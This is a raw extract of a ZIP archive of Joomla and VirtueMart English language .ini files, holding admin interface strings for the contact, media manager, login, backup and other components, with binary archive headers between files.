allowed to submit contact form." COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_LABEL="Banned Email" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_DESC="Subjects not allowed in contact form" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_LABEL="Banned Subject" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_DESC="Text not allowed in contact form body" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_LABEL="Banned Text" COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC="Hide or Show checkbox to allow copy of email to be sent to submitter." COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL="Send Copy to Submitter" COM_CONTACT_FIELD_EMAIL_SHOW_FORM_DESC="Show or Hide contact form." COM_CONTACT_FIELD_EMAIL_SHOW_FORM_LABEL="Show Contact Form" COM_CONTACT_FIELD_FEATURED_DESC="If marked yes, will be displayed in featured view." COM_CONTACT_FIELD_FEEDLINK_DESC="Show/Hide a feed link for this contact category" COM_CONTACT_FIELD_FEEDLINK_LABEL="Feed link" COM_CONTACT_FIELD_ICONS_ADDRESS_DESC="Select the Address icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_ADDRESS_LABEL="Address Icon" COM_CONTACT_FIELD_ICONS_EMAIL_DESC="Select the Email icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_EMAIL_LABEL="Email Icon" COM_CONTACT_FIELD_ICONS_FAX_DESC="Select the Fax icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_FAX_LABEL="Fax Icon" COM_CONTACT_FIELD_ICONS_MISC_DESC="Select the Misc icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_MISC_LABEL="Misc Icon" COM_CONTACT_FIELD_ICONS_MOBILE_DESC="Select the Mobile icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_MOBILE_LABEL="Mobile Icon" COM_CONTACT_FIELD_ICONS_SETTINGS_DESC="Choose whether to display icons, text or nothing next to the information." COM_CONTACT_FIELD_ICONS_SETTINGS_LABEL="Settings" COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC="Select the Telephone icon. If none selected, the default icon will be displayed." COM_CONTACT_FIELD_ICONS_TELEPHONE_LABEL="Telephone Icon" COM_CONTACT_FIELD_IMAGE_ALIGN_DESC="Alignment of the image" COM_CONTACT_FIELD_IMAGE_ALIGN_LABEL="Image alignment" COM_CONTACT_FIELD_INFORMATION_ADDRESS_DESC="Contact's Address" COM_CONTACT_FIELD_INFORMATION_ADDRESS_LABEL="Address" COM_CONTACT_FIELD_INFORMATION_COUNTRY_DESC="Contact's Country" COM_CONTACT_FIELD_INFORMATION_COUNTRY_LABEL="Country" COM_CONTACT_FIELD_INFORMATION_EMAIL_DESC="Contact's Email" COM_CONTACT_FIELD_INFORMATION_FAX_DESC="Contact's Fax" COM_CONTACT_FIELD_INFORMATION_FAX_LABEL="Fax" COM_CONTACT_FIELD_INFORMATION_MISC_DESC="Contact's Miscellaneous Information" COM_CONTACT_FIELD_INFORMATION_MISC_LABEL="Other Information" COM_CONTACT_FIELD_INFORMATION_MOBILE_DESC="Contact's Mobile phone" COM_CONTACT_FIELD_INFORMATION_MOBILE_LABEL="Mobile" COM_CONTACT_FIELD_INFORMATION_POSITION_DESC="Contact's Position" COM_CONTACT_FIELD_INFORMATION_POSITION_LABEL="Position" COM_CONTACT_FIELD_INFORMATION_POSTCODE_DESC="Contact's Postal Code" COM_CONTACT_FIELD_INFORMATION_POSTCODE_LABEL="Postal / ZIP Code" COM_CONTACT_FIELD_INFORMATION_STATE_DESC="Contact's State or Province" COM_CONTACT_FIELD_INFORMATION_STATE_LABEL="State or Province" COM_CONTACT_FIELD_INFORMATION_SUBURB_DESC="Contact's City or Suburb" COM_CONTACT_FIELD_INFORMATION_SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_DESC="Contact's Telephone" COM_CONTACT_FIELD_INFORMATION_TELEPHONE_LABEL="Telephone" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_DESC="Contact's Website" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL="Website" COM_CONTACT_FIELD_INITIAL_SORT_DESC="Choose the field or fields by which contacts will be sorted." COM_CONTACT_FIELD_INITIAL_SORT_LABEL="Sort by" COM_CONTACT_FIELD_LANGUAGE_DESC="Assign a language for this contact" COM_CONTACT_FIELD_LIMIT_BOX_DESC="Show/Hide limit box" COM_CONTACT_FIELD_LIMIT_BOX_LABEL="Limit box" COM_CONTACT_FIELD_LINK_NAME_DESC="An additional link for this contact" COM_CONTACT_FIELD_LINKA_DESC="Description for Link A" COM_CONTACT_FIELD_LINKA_LABEL="Link A URL" COM_CONTACT_FIELD_LINKA_NAME_LABEL="Link A Label" COM_CONTACT_FIELD_LINKB_DESC="Description for Link B" COM_CONTACT_FIELD_LINKB_LABEL="Link B URL" COM_CONTACT_FIELD_LINKB_NAME_LABEL="Link B Label" COM_CONTACT_FIELD_LINKC_DESC="Description for Link C" COM_CONTACT_FIELD_LINKC_LABEL="Link C URL" COM_CONTACT_FIELD_LINKC_NAME_LABEL="Link C Label" COM_CONTACT_FIELD_LINKD_DESC="Description for Link D" COM_CONTACT_FIELD_LINKD_LABEL="Link D URL" COM_CONTACT_FIELD_LINKD_NAME_LABEL="Link D Label" COM_CONTACT_FIELD_LINKE_DESC="Description for Link E" COM_CONTACT_FIELD_LINKE_LABEL="Link E URL" COM_CONTACT_FIELD_LINKE_NAME_LABEL="Link E Label" COM_CONTACT_FIELD_LINKED_USER_DESC="Linked Joomla! User" COM_CONTACT_FIELD_LINKED_USER_LABEL="Linked User" COM_CONTACT_FIELD_MODIFIED_DESC="The date and time that the contact was last modified." COM_CONTACT_FIELD_NAME_DESC="Contact Name" COM_CONTACT_FIELD_NAME_LABEL="Name" COM_CONTACT_FIELD_NUM_CONTACTS_DESC="Number of Contacts to display as list." COM_CONTACT_FIELD_NUM_CONTACTS_LABEL="Number of contacts" COM_CONTACT_FIELD_PARAMS_CONTACT_E_MAIL_DESC="Show or Hide contact email" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_DESC="Show or Hide position" COM_CONTACT_FIELD_PARAMS_CONTACT_POSITION_LABEL="Contact's Position" COM_CONTACT_FIELD_PARAMS_COUNTRY_DESC="Show or Hide Country" COM_CONTACT_FIELD_PARAMS_COUNTRY_LABEL="Country" COM_CONTACT_FIELD_PARAMS_FAX_DESC="Show or Hide fax number" COM_CONTACT_FIELD_PARAMS_FAX_LABEL="Fax" COM_CONTACT_FIELD_PARAMS_IMAGE_DESC="Select the contact image." COM_CONTACT_FIELD_PARAMS_IMAGE_LABEL="Image" COM_CONTACT_FIELD_PARAMS_MISC_INFO_DESC="Show or Hide miscellaneous information" COM_CONTACT_FIELD_PARAMS_MISC_INFO_LABEL="Misc. Information" COM_CONTACT_FIELD_PARAMS_MOBILE_DESC="Show or Hide mobile number" COM_CONTACT_FIELD_PARAMS_MOBILE_LABEL="Mobile phone" COM_CONTACT_FIELD_PARAMS_NAME_DESC="Show name of the contact" COM_CONTACT_FIELD_PARAMS_NAME_LABEL="Name" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_DESC="Show or Hide postal or zip code" COM_CONTACT_FIELD_PARAMS_POST-ZIP_CODE_LABEL="Postal Code" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_DESC="Show or Hide image" COM_CONTACT_FIELD_PARAMS_SHOW_IMAGE_LABEL="Image" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_DESC="Show or Hide state or county" COM_CONTACT_FIELD_PARAMS_STATE-COUNTY_LABEL="State or County" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_DESC="Show or Hide street address" COM_CONTACT_FIELD_PARAMS_STREET_ADDRESS_LABEL="Street Address" COM_CONTACT_FIELD_PARAMS_TELEPHONE_DESC="Show or Hide telephone number" COM_CONTACT_FIELD_PARAMS_TELEPHONE_LABEL="Telephone" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_DESC="Show or hide city or suburb" COM_CONTACT_FIELD_PARAMS_TOWN-SUBURB_LABEL="City or Suburb" COM_CONTACT_FIELD_PARAMS_VCARD_DESC="Whether or not to allow export to vCard format" COM_CONTACT_FIELD_PARAMS_VCARD_LABEL="vCard" COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC="Show or hide webpage" COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL="Webpage" COM_CONTACT_FIELD_PRESENTATION_DESC="Determines the style used to display sections of the contact form" COM_CONTACT_FIELD_PRESENTATION_LABEL="Display format" COM_CONTACT_FIELD_PROFILE_SHOW_DESC="If this contact is mapped to a user, and if this is set to Show, then the profile of this user will show." COM_CONTACT_FIELD_PROFILE_SHOW_LABEL="Show Profile" COM_CONTACT_FIELD_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the contact." COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL="Finish Publishing" COM_CONTACT_FIELD_PUBLISH_UP_DESC="An optional date to Start Publishing the contact." COM_CONTACT_FIELD_PUBLISH_UP_LABEL="Start Publishing" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_DESC="Show or Hide the number of Contacts in category" COM_CONTACT_FIELD_SHOW_CAT_ITEMS_LABEL="# Contacts in Category" COM_CONTACT_FIELD_SHOW_CATEGORY_DESC="Displays the category" COM_CONTACT_FIELD_SHOW_LINKS_DESC="Show or hide the links." COM_CONTACT_FIELD_SHOW_LINKS_LABEL="Show Links" COM_CONTACT_FIELD_SORTNAME1_DESC="The part of the name to use as the first sort field" COM_CONTACT_FIELD_SORTNAME1_LABEL="First Sort Field" COM_CONTACT_FIELD_SORTNAME2_DESC="The part of the name to use as the second sort field" COM_CONTACT_FIELD_SORTNAME2_LABEL="Second Sort Field" COM_CONTACT_FIELD_SORTNAME3_DESC="The part of the name to use as the third sort field" COM_CONTACT_FIELD_SORTNAME3_LABEL="Third Sort Field" COM_CONTACT_FIELD_VALUE_ICONS="Icons" COM_CONTACT_FIELD_VALUE_NAME="Name" COM_CONTACT_FIELD_VALUE_NO_LINK="Show Without Link" COM_CONTACT_FIELD_VALUE_NONE="None" COM_CONTACT_FIELD_VALUE_ORDERING="Ordering" COM_CONTACT_FIELD_VALUE_PLAIN="Plain" COM_CONTACT_FIELD_VALUE_SLIDERS="Sliders" COM_CONTACT_FIELD_VALUE_SORT_NAME="Sort Name" COM_CONTACT_FIELD_VALUE_TABS="Tabs" COM_CONTACT_FIELD_VALUE_TEXT="Text" COM_CONTACT_FIELD_VALUE_WITH_LINK="Show With Link" COM_CONTACT_FIELDSET_CONTACT_FORM="Contact form" COM_CONTACT_FIELDSET_CONTACT_LABEL="Contact Display Options" COM_CONTACT_FIELDSET_CONTACTFORM_LABEL="Mail Options" COM_CONTACT_FIELDSET_OPTIONS="Display Options" COM_CONTACT_FILTER_DESC="Choose the type of filter to display per default." COM_CONTACT_FILTER_LABEL="Filter field" COM_CONTACT_FILTER_SEARCH_DESC="Enter text to show matching contacts" COM_CONTACT_ICONS_SETTINGS="Icons" COM_CONTACT_ID_LABEL="ID" COM_CONTACT_MAIL_FIELDSET_LABEL="Mail Options" COM_CONTACT_MANAGER_CONTACT="Contact Manager: Contact" COM_CONTACT_MANAGER_CONTACTS="Contact Manager: Contacts" COM_CONTACT_N_ITEMS_ARCHIVED="%d contacts successfully archived" COM_CONTACT_N_ITEMS_ARCHIVED_1="%d contact successfully archived" COM_CONTACT_N_ITEMS_CHECKED_IN_0="No contact successfully checked in" COM_CONTACT_N_ITEMS_CHECKED_IN_1="%d contact successfully checked in" COM_CONTACT_N_ITEMS_CHECKED_IN_MORE="%d contacts successfully checked in" COM_CONTACT_N_ITEMS_DELETED="%d contacts successfully deleted" COM_CONTACT_N_ITEMS_DELETED_1="%d contact successfully deleted" COM_CONTACT_N_ITEMS_PUBLISHED="%d contacts successfully published" COM_CONTACT_N_ITEMS_PUBLISHED_1="%d contact successfully published" COM_CONTACT_N_ITEMS_TRASHED="%d contacts successfully trashed" COM_CONTACT_N_ITEMS_TRASHED_1="%d contact successfully trashed" COM_CONTACT_N_ITEMS_UNPUBLISHED="%d contacts successfully unpublished" COM_CONTACT_N_ITEMS_UNPUBLISHED_1="%d contact successfully unpublished" COM_CONTACT_NAME_DESC="Contact Name" COM_CONTACT_NEW_CONTACT="New Contact" COM_CONTACT_NO_ITEM_SELECTED="No contacts selected" COM_CONTACT_OPTIONS="Options" COM_CONTACT_SAVE_SUCCESS="Contact successfully saved" COM_CONTACT_SEARCH_IN_NAME="Search contacts by name" COM_CONTACT_SELECT_A_CONTACT="Select a Contact" COM_CONTACT_SELECT_CONTACT_DESC="Press the button to show and select a contact from the list" COM_CONTACT_SELECT_CONTACT_LABEL="Select Contact" COM_CONTACT_SELECT_USER="Select User" COM_CONTACT_SHOW_EMAIL_ADDRESS_DESC="Show Email Address" COM_CONTACT_SHOW_EMAIL_ADDRESS_LABEL="Email Address" COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC="If Show, empty categories will display. A category is only empty - if it has no Contacts or subcategories." COM_CONTACT_SUBMENU_CATEGORIES="Categories" COM_CONTACT_SUBMENU_CONTACTS="Contacts" COM_CONTACT_TOGGLE_TO_FEATURE="Toggle to change contact state to 'Featured'" COM_CONTACT_TOGGLE_TO_UNFEATURE="Toggle to change contact state to 'Unfeatured'" COM_CONTACT_UNFEATURED="Unfeatured contact" COM_CONTACT_WARNING_CATEGORY="This category is invalid" COM_CONTACT_WARNING_PROVIDE_VALID_NAME="Please provide a valid name" COM_CONTACT_WARNING_PROVIDE_VALID_URL="Please provide a valid URL" COM_CONTACT_WARNING_SELECT_CONTACT_TOPUBLISH="Please select a contact to publish" COM_CONTACT_XML_DESCRIPTION="This component shows a listing of contact information" JGLOBAL_NEWITEMSLAST_DESC="New Contacts default to the last position. Ordering can be changed after this Contact is saved." JLIB_HTML_BATCH_USER_LABEL="Set Linked User" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
        Inherited means that the permissions from global configuration and parent group will be used.
        Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
        Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
        2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\M 4language/en-GB/en-GB.plg_editors-xtd_article.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_ARTICLE_XML_DESCRIPTION="Displays a button to make it possible to insert articles' links into an Article. Displays a popup allowing you to choose the article" PLG_EDITORS-XTD_ARTICLE="Button - Article" PK@y>\+ [GG(language/en-GB/en-GB.com_plugins.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_PLUGINS="Plugins Manager" COM_PLUGINS_XML_DESCRIPTION="This component manages Joomla! plugins" PK@y>\\/ff.language/en-GB/en-GB.plg_finder_categories.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_FINDER_CATEGORIES="Smart Search - Categories" PLG_FINDER_CATEGORIES_XML_DESCRIPTION="This plugin indexes Joomla! Categories." PK@y>\)88&language/en-GB/en-GB.com_menus.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MENUS="Menus Manager" COM_MENUS_XML_DESCRIPTION="Component for creating menus" PK@y>\A"language/en-GB/en-GB.com_media.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_MEDIA="Media Manager" COM_MEDIA_ALIGN="Align" COM_MEDIA_ALIGN_DESC="If 'Not Set', the alignment is defined by the class '.img_caption.none'. Usually to get the image centred on the page." COM_MEDIA_BROWSE_FILES="Browse files" COM_MEDIA_CAPTION="Caption" COM_MEDIA_CAPTION_DESC="If set to 'Yes', the Image Title will be used as caption." COM_MEDIA_CLEAR_LIST="Clear List" COM_MEDIA_CONFIGURATION="Media Manager Options" COM_MEDIA_CREATE_COMPLETE="Create Complete: %s" COM_MEDIA_CREATE_FOLDER="Create Folder" COM_MEDIA_CURRENT_PROGRESS="Current progress" COM_MEDIA_DELETE_COMPLETE="Delete Complete: %s" COM_MEDIA_DESCFTPTITLE="FTP Login Details" COM_MEDIA_DESCFTP="To upload, change and delete media files, Joomla! will most likely need your FTP account details. Please enter them in the form fields below." COM_MEDIA_DETAIL_VIEW="Detail View" COM_MEDIA_DIRECTORY="Directory" COM_MEDIA_DIRECTORY_UP="Directory Up" COM_MEDIA_ERROR_BAD_REQUEST="Bad Request" COM_MEDIA_ERROR_BEFORE_DELETE_0="Some error occurs before deleting the media" COM_MEDIA_ERROR_BEFORE_DELETE_1="An error occurs before deleting the media: %s" COM_MEDIA_ERROR_BEFORE_DELETE_MORE="Some errors occur before deleting the media: %s" COM_MEDIA_ERROR_BEFORE_SAVE_0="Some error occurs before saving the media" COM_MEDIA_ERROR_BEFORE_SAVE_1="An error occurs before saving the media: %s" COM_MEDIA_ERROR_BEFORE_SAVE_MORE="Some errors occur before saving the media: %s" COM_MEDIA_ERROR_CREATE_NOT_PERMITTED="Create not permitted" COM_MEDIA_ERROR_FILE_EXISTS="File already exists" COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME="Unable to create directory. Directory name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_BROWSE_FOLDER_WARNDIRNAME="Unable to browse: %s. Directory name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME="Unable to delete: %s. File name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY="Unable to delete: %s. Folder is not empty!" COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME="Unable to delete: %s. Directory name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_UNABLE_TO_DELETE=" Unable to delete: " COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE="Unable to upload file." COM_MEDIA_ERROR_UPLOAD_INPUT="Please input a file for upload" COM_MEDIA_ERROR_WARNFILENAME="File name must only contain alphanumeric characters and no spaces." COM_MEDIA_ERROR_WARNFILETOOLARGE="This file is too large to upload." COM_MEDIA_ERROR_WARNFILETYPE="This file type is not supported." COM_MEDIA_ERROR_WARNIEXSS="Possible IE XSS Attack found." COM_MEDIA_ERROR_WARNINVALID_IMG="Not a valid image." COM_MEDIA_ERROR_WARNINVALID_MIME="Illegal or invalid mime type detected." COM_MEDIA_ERROR_WARNNOTADMIN="Uploaded file is not an image file and you are not a manager or higher." COM_MEDIA_ERROR_WARNNOTEMPTY="Not empty!" COM_MEDIA_FIELD_CHECK_MIME_DESC="Use MIME Magic or Fileinfo to attempt to verify files. Try disabling this if you get invalid mime type errors" COM_MEDIA_FIELD_CHECK_MIME_LABEL="Check MIME Types" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_DESC="Flash uploader lets upload multiple files at the same time. It may not work on your settings" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_LABEL="Enable flash uploader" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC="Ignored file extensions for MIME type checking and restricted uploads" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL="Ignored Extensions" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC="A comma separated list of illegal MIME types for upload (blacklist)" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL="Illegal MIME Types" COM_MEDIA_FIELD_LEGAL_EXTENSIONS_DESC=" Extensions (file types) you are allowed to upload (comma separated)." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL="Legal Extensions (File Types)" COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_DESC=" Image Extensions (file types) you are allowed to upload (comma separated). These are used to check for valid image headers." COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL="Legal Image Extensions (File Types)" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC="A comma separated list of legal MIME types for upload" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL="Legal MIME Types" COM_MEDIA_FIELD_MAXIMUM_SIZE_DESC="The maximum size for an upload (in megabytes). Use zero for no limit. Note: your server has a maximum limit." COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL="Maximum Size (in MB)" COM_MEDIA_FIELD_PATH_FILE_FOLDER_DESC="Enter the path to the files folder relative to root. Warning! Changing to another path than the default 'images' may break your links." COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL="Path to files folder" COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_DESC="Enter the path to the images folder relative to root. This path has to be the same as path to files (default) or to a subfolder of the path to file folder." COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL="Path to images folder" COM_MEDIA_FIELD_RESTRICT_UPLOADS_DESC="Restrict uploads for lower than manager users to just images if Fileinfo or MIME Magic isn't installed." COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL="Restrict Uploads" COM_MEDIA_FILES="Files" COM_MEDIA_FILESIZE_BYTES="%s bytes" COM_MEDIA_FILESIZE="File size" COM_MEDIA_FILESIZE_KILOBYTES="%s KB" COM_MEDIA_FILESIZE_MEGABYTES="%s MB" COM_MEDIA_FOLDER="Folder" COM_MEDIA_FOLDERS="Media Folders" COM_MEDIA_FOLDERS_PATH_LABEL="Changing the default 'path to files folder' to another folder than default 'images' may break your links.
        The 'path to images' folder has to be the same or to a subfolder of 'path to files'." COM_MEDIA_IMAGE_DESCRIPTION="Image Description" COM_MEDIA_IMAGE_TITLE="%1$s - %2$s" COM_MEDIA_IMAGE_DIMENSIONS="%1$s x %2$s" COM_MEDIA_IMAGE_URL="Image URL" COM_MEDIA_INSERT_IMAGE="Insert Image" COM_MEDIA_INSERT="Insert" COM_MEDIA_INVALID_REQUEST="Invalid Request" COM_MEDIA_MEDIA="Media" COM_MEDIA_NAME="Image Name" COM_MEDIA_NO_IMAGES_FOUND="No Images Found" COM_MEDIA_NOT_SET="Not Set" COM_MEDIA_OVERALL_PROGRESS="Overall Progress" COM_MEDIA_PIXEL_DIMENSIONS="Pixel Dimensions (W x H)" COM_MEDIA_START_UPLOAD="Start Upload" COM_MEDIA_THUMBNAIL_VIEW="Thumbnail View" COM_MEDIA_TITLE="Image Title" COM_MEDIA_UPLOAD_COMPLETE="Upload Complete: %s" COM_MEDIA_UPLOAD_FILES_NOLIMIT="Upload files (No maximum size)" COM_MEDIA_UPLOAD_FILES="Upload files (Maximum Size: %s MB)" COM_MEDIA_UPLOAD_FILE="Upload file" COM_MEDIA_UPLOAD_SUCCESSFUL="Upload Successful" COM_MEDIA_UPLOAD="Upload" COM_MEDIA_UP="Up" COM_MEDIA_XML_DESCRIPTION="Component for managing site media" JLIB_RULES_SETTING_NOTES="1. If you change the setting, it will apply to this component. Note that:
        Inherited means that the permissions from global configuration and parent group will be used.
        Denied means that no matter what the global configuration or parent group settings are, the group being edited cannot take this action on this component.
        Allowed means that the group being edited will be able to take this action for this component (but if this is in conflict with the global configuration or parent group it will have no impact; a conflict will be indicated by Not Allowed (Locked) under Calculated Settings).
        2. If you select a new setting, click Save to refresh the calculated settings." PK@y>\2language/en-GB/en-GB.plg_editors-xtd_image.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_EDITORS-XTD_IMAGE="Button - Image" PLG_IMAGE_XML_DESCRIPTION="Displays a button to make it possible to insert images into an Article. Displays a popup allowing you to configure an image's properties and upload new image files." PK@y>\HC3language/en-GB/en-GB.plg_vmcustom_textinput.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_TEXTINPUT="Custom Field Text Input"PK@y>\^ص##*language/en-GB/en-GB.tpl_bluestork.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 BLUESTORK="Bluestork Administrator Template" TPL_BLUESTORK_POSITION_CPANEL="Control Panel" TPL_BLUESTORK_POSITION_CP_SHELL="Unused" TPL_BLUESTORK_POSITION_DEBUG="Debug" TPL_BLUESTORK_POSITION_FOOTER="Footer" TPL_BLUESTORK_POSITION_ICON="Quick Icons" TPL_BLUESTORK_POSITION_LOGIN="Login" TPL_BLUESTORK_POSITION_MENU="Menu" TPL_BLUESTORK_POSITION_STATUS="Status" TPL_BLUESTORK_POSITION_SUBMENU="Submenu" TPL_BLUESTORK_POSITION_TITLE="Title" TPL_BLUESTORK_POSITION_TOOLBAR="Toolbar" TPL_BLUESTORK_XML_DESCRIPTION="BlueStork is a template for the Joomla administrator (backend)."PK@y>\]{=44#language/en-GB/en-GB.com_cpanel.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CPANEL="Control Panel" COM_CPANEL_XML_DESCRIPTION="Control panel component" PK@y>\Mq))(language/en-GB/en-GB.com_checkin.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CHECKIN="Checkin" COM_CHECKIN_XML_DESCRIPTION="Checkin Component"PK@y>\q::'language/en-GB/en-GB.com_config.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_CONFIG="Configuration Manager" COM_CONFIG_XML_DESCRIPTION="Configuration Manager" PK@y>\ŧ&language/en-GB/en-GB.mod_login.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_LOGIN_XML_DESCRIPTION="This module displays a username and password login form. It cannot be unpublished." MOD_LOGIN="Login Form" MOD_LOGIN_LAYOUT_DEFAULT="Default" PK@y>\}')(language/en-GB/en-GB.mod_akadmin.sys.ininuW+A;; @package AkeebaBackup ;; @copyright Copyright (c)2009-2012 Nicholas K. Dionysopoulos ;; @license GNU General Public License version 3, or later ;; AKEEBA_NOT_ENABLED="Akeeba Backup is not enabled on this site" LBL_WARNINGS="Enable warning icon" DESC_WARNINGS="When enabled, the Akeeba Backup logo icon displays a small warning sign if the backup is failed or outdated (see below)." LBL_WARNFAILED="Warn on failed backups" DESC_WARNFAILED="When both this and the previous options are enabled, a warning icon is displayed if the last backup is failed." LBL_PERIOD="Stale backup time, in hours" DESC_PERIOD="Assume that a backup is stale if this many hours have passed since the last successful backup. If the backup is stale, a warning icon is displayed if the first option is enabled." LBL_YES="Enable" LBL_NO="Disable" LBL_AKEEBA="Backup is up-to-date" LBL_BACKUPREQUIRED="Backup required!" PK@y>\OA;tt0language/en-GB/en-GB.mod_multilangstatus.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_MULTILANGSTATUS="Multilanguage Status" MOD_MULTILANGSTATUS_XML_DESCRIPTION="This module shows the status of the multilanguage parameters." PK@y>\ltdd&language/en-GB/en-GB.mod_title.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 MOD_TITLE="Title" MOD_TITLE_XML_DESCRIPTION="This Module shows the Toolbar Component Title" MOD_TITLE_LAYOUT_DEFAULT="Default" PK@y>\{Uyy3language/en-GB/en-GB.plg_vmcustom_specification.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION_DEFAULT_INFO="Default info" VMCUSTOM_SPECIFICATION_NAME_INFO="Characteristic Label" VMCUSTOM_SPECIFICATION_NAME_INFO_DESC="Default Value"PK@y>\{::'language/en-GB/en-GB.com_mailto.sys.ininuW+A; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php 